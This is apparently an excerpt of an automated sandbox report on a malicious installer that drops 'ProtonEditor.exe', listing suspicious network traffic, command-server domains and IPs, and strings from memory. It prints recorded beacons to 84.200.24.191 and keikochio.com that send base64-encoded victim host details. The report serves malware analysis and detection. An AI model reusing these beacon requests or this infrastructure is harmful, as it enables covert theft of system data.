    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: unknownTCP traffic detected without corresponding DNS query: 84.200.24.191
    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: www.google.comConnection: close
    Source: global trafficHTTP traffic detected: GET /login.php?event=init&id=dGVzdA==&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fMlc3SFBfdHJ1ZV8xMjgweDEwMjRfV2luZG93cyAxMCBQcm9fOTIgbWludXRlcyAoMC41NCBob3VycylfQzpcVXNlcnNcYWxmb25zXzI4NDk5Ml9hbGZvbnNfV2luZG93c19OVF94NjRfMTAuMC4xOTA0NV9DOlxVc2Vyc1xhbGZvbnNcQXBwRGF0YVxSb2FtaW5nX0M6XFVzZXJzXGFsZm9uc1xBcHBEYXRhXExvY2FsXFRlbXBfQUxGT05TLVBDX19JbnRlbDY0IEZhbWlseSA2IE1vZGVsIDE0MyBTdGVwcGluZyA4LCBHZW51aW5lSW50ZWxfQU1ENjRfQzpfMl9DOlxVc2Vyc1xhbGZvbnNcQXBwRGF0YVxMb2NhbFxUZW1wXDJwZ1N2MHZsWWhoZHB2dkd5dHFyQTVJdld6SFxQcm90b25FZGl0b3IuZXhl HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: 84.200.24.191Connection: close
    Source: global trafficHTTP traffic detected: GET /incall.php?compName=user-PC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.444.143 Safari/537.36Host: keikochio.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /cgi-sys/suspendedpage.cgi?compName=user-PC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.444.143 Safari/537.36Host: keikochio.com
    Source: ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: chttps://www.baidu.com/s?ie={inputEncoding}&wd={searchTerms}https://www.baidu.com/s?ie={inputEncoding}&word={searchTerms}https://www.baidu.com/{google:pathWildcard}/s?ie={inputEncoding}&word={searchTerms}sigs_ssp{google:baseURL}#q={searchTerms}{google:baseURL}search#q={searchTerms}{google:baseURL}webhp#q={searchTerms}{google:baseURL}s#q={searchTerms}{google:baseURL}s?q={searchTerms}https://go.mail.ru/msearch?q={searchTerms}&{mailru:referralID}https://m.so.com/s?ie={inputEncoding}&q={searchTerms}https://m.so.com/index.php?ie={inputEncoding}&q={searchTerms}https://m.sogou.com/web/{google:pathWildcard}?ie={inputEncoding}&keyword={searchTerms}http://searchatlas.centrum.cz/?q={searchTerms}http://hladaj.atlas.sk/fulltext/?phrase={searchTerms}http://isearch.avg.com/search?q={searchTerms}http://search.avg.com/route/?q={searchTerms}&lng={language}https://isearch.avg.com/search?q={searchTerms}https://search.avg.com/route/?q={searchTerms}&lng={language}http://search.babylon.com/?q={searchTerms}http://search.conduit.com/Results.aspx?q={searchTerms}http://www.delfi.lt/paieska/?q={searchTerms}http://www.delta-search.com/?q={searchTerms}http://www1.delta-search.com/home?q={searchTerms}http://www1.delta-search.com/?q={searchTerms}http://www2.delta-search.com/home?q={searchTerms}http://www2.delta-search.com/?q={searchTerms}http://www.search.delta-search.com/home?q={searchTerms}http://www.search.delta-search.com/?q={searchTerms}http://www.yhs.delta-search.com/home?q={searchTerms}http://www.yhs.delta-search.com/?q={searchTerms}http://mixidj.delta-search.com/home?q={searchTerms}http://mixidj.delta-search.com/?q={searchTerms}http://search.goo.ne.jp/web.jsp?MT={searchTerms}&IE={inputEncoding}http://search.goo.ne.jp/sgt.jsp?MT={searchTerms}&CL=plugin&FM=json&IE={inputEncoding}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q={searchTerms}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q={searchTerms}http://start.iminent.com/?q={searchTerms}http://start.iminent.com/StartWeb/1033/homepage/#q={searchTerms}http://search.incredibar.com/?q={searchTerms}http://mystart.incredibar.com/?search={searchTerms}https://www.neti.ee/cgi-bin/otsing?query={searchTerms}&src=webhttps://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery={searchTerms}https://nova.rambler.ru/search?query={searchTerms}https://nova.rambler.ru/suggest?v=3&query={searchTerms}http://www.search-results.com/web?q={searchTerms}http://search.snap.do/?q={searchTerms}http://feed.snapdo.com/?q={searchTerms}http://feed.snap.do/?q={searchTerms}http://en.softonic.com/s/{searchTerms}http://www.softonic.com/s/{searchTerms}http://www.softonic.com.br/s/{searchTerms}http://buscador.softonic.com/?q={searchTerms}http://nl.softonic.com/s/{searchTerms}https://search.softonic.com/?q={searchTerms}https://en.softonic.com/s/{searchTerms}https://www.softonic.com/s/{searchTerms}https://www.softonic.com.br/s/{searchTerms}https://buscador.softonic.com/?q={searchTerms}https://nl.softonic.com/s/{s
    Source: global trafficDNS traffic detected: DNS query: www.google.com
    Source: global trafficDNS traffic detected: DNS query: chrome.cloudflare-dns.com
    Source: global trafficDNS traffic detected: DNS query: keikochio.com
    Source: global trafficDNS traffic detected: DNS query: qWKLItDJUHsKubZPWAcTdT.qWKLItDJUHsKubZPWAcTdT
    Source: global trafficDNS traffic detected: DNS query: luckersmk.help
    Source: unknownHTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://arianna.libero.it/search/abin/integrata.cgi?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://autocomplete.nigma.ru/complete/query_help.php?suggest=true&q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.softonic.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/favicon.icohttp://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.icohttp://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&que
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://clients3.google.com/cert_upload_json
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only#
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://dts.search-results.com/sr?lng=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://en.softonic.com/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://feed.snap.do/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://feed.snapdo.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.png
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.pnghttp://find.in.gr/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.icohttp://www.delfi.lv/search_all/?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://hladaj.atlas.sk/fulltext/?phrase=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.icohttp://nova.rambler.ru/search?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://isearch.avg.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://l.twimg.com/i/hpkp_report
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://l.twimg.com/i/hpkp_report0
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.icohttp://search.snapdo.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mixidj.delta-search.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mixidj.delta-search.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.icohttp://arianna.libero.it/search/ab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mysearch.sweetpacks.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mystart.incredibar.com/?search=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/?s=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nl.softonic.com/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nova.rambler.ru/search?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nova.rambler.ru/suggest?v=3&query=
    Source: NativeApp_G5L1NHZZ.exe, 00000000.00000000.2090328632.000000000040A000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/katalogus?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://pesquisa.sapo.pt/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://pesquisa.sapo.pt/livesapo?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://radce.centrum.cz/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://report-example.test/test
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/favicon.icohttp://search.avg.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/route/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/favicon.icohttp://search.babylon.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.conduit.com/Results.aspx?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.goo.ne.jp/sgt.jsp?MT=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.goo.ne.jp/web.jsp?MT=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/favicon.icohttp://search.imesh.net/music?hl=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/music?hl=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.icohttp://search.iminent.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/favicon.ico
